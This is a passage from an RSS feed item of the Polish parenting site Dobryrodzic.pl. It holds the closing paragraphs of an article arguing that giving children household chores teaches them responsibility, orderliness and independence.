<p>Dziecko uczy się odpowiedzialności, wie że nie dostanie wszystkiego na tacy tylko musi sobie na to zapracować. Mieszka z nami i powinno przykładać się do porządku w domu, o który dbamy całą rodziną. Jednocześnie w dorosłym życiu będzie bardziej zaradne i samodzielne, będzie potrafiło zadbać o siebie i swoją przyszłą rodzinę, co dla nas jako rodziców powinno być niezwykle wazne w kwestii wychowania młodego człowieka.</p>
<p>Obowiązki są nudne, znienawidzone i często niechętnie wykonywane, bo przecież w tym czasie można pograć albo porobić cokolwiek innego. Jednak jeśli nasza pociecha nauczy się systematyczności i porządku to wykonywanie obowiązków nie będzie zajmowało jej wiele czasu, a mimo niechęci dużo się dzięki nim nauczy.</p>
<p>Artykuł <a href="http://www.dobryrodzic.pl/dzieci-i-obowiazki/">Dzieci i obowiązki</a> pochodzi z serwisu <a href="http://www.dobryrodzic.pl">Dobryrodzic.pl</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.dobryrodzic.pl/dzieci-i-obowiazki/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
